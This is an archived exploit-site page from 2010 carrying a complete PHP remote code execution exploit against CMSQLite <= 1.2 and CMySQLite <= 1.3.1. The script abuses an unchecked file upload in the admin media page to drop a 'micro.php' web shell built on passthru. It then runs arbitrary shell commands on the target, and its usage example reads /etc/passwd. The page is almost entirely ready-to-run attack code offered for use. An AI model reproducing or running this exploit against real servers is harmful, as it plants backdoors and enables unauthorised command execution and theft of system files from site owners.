CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code E
Posted on 15 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code Execution Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================== CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code Execution Exploit ================================================================== #!/usr/bin/php -q -d short_open_tag=on <? echo " CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code Execution Exploit by BlackHawk <hawkgotyou gmail com> <http://twitter.com/itablackhawk> Thanks to rgod for the php code and Natural Killer "; if ($argc<4) { echo "Usage: php ".$argv[0]." Host Path CMD Host: target server (ip/hostname) Path: path of CMSQLite / CMySQLite CMD: A Shell Command Example: php ".$argv[0]." localhost /template/ cat /etc/passwd"; die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); /* Explanation: No check of user rights when uploading a file, and file type is checked via HTTP header Content-Type, wich can be different to the real. exploit creates a micro.php shell on target site */ function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.=" "; $exa.=" ";} } return $exa." ".$result; } $proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy... "; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $cmd=""; for ($i=3; $i<=$argc-1; $i++){ $cmd.=" ".$argv[$i]; } $port=80; $proxy=""; $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "- Uploading Shell Creator.. "; $data="-----------------------------7d529a1d23092a "; $data.="Content-Disposition: form-data; name="fileName"; filename="oh_my_shell.php" "; $data.="Content-Type: application/zip "; $data.="<?php $fp=fopen('micro.php','w'); fputs($fp,'<?php error_reporting(0); set_time_limit(0); if (get_magic_quotes_gpc()) { $_GET[cmd]=stripslashes($_GET[cmd]); } echo 666999; passthru($_GET[cmd]); echo 666999; ?>'); fclose($fp); chmod('micro.php',777); ?> "; $data.='-----------------------------7d529a1d23092a Content-Disposition: form-data; name="upload" 1 -----------------------------7d529a1d23092a-- '; $packet="POST ".$p."admin/mediaAdmin.php HTTP/1.0 "; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /* "; $packet.="Referer: http://".$host.$path."/example.html "; $packet.="Accept-Language: it "; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a "; $packet.="Accept-Encoding: gzip, deflate "; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) "; $packet.="Host: ".$host." "; $packet.="Content-Length: ".strlen($data)." "; $packet.="Connection: Close "; $packet.="Cache-Control: no-cache "; $packet.=$data; sendpacketii($packet); echo "- Creating the Shell.. "; $packet ="GET ".$p."media/oh_my_shell.php HTTP/1.0 "; $packet.="Host: ".$host." "; $packet.="Connection: Close "; $packet.=$data; sendpacketii($packet); sleep(3); echo "- Execute Commands.. "; $packet ="GET ".$p."media/micro.php?cmd=$cmd HTTP/1.0 "; $packet.="Host: ".$host." "; $packet.="Connection: Close "; $packet.=$data; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded... "; $temp=explode("666999",$html); die(" ".$temp[1]." "); } ?> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
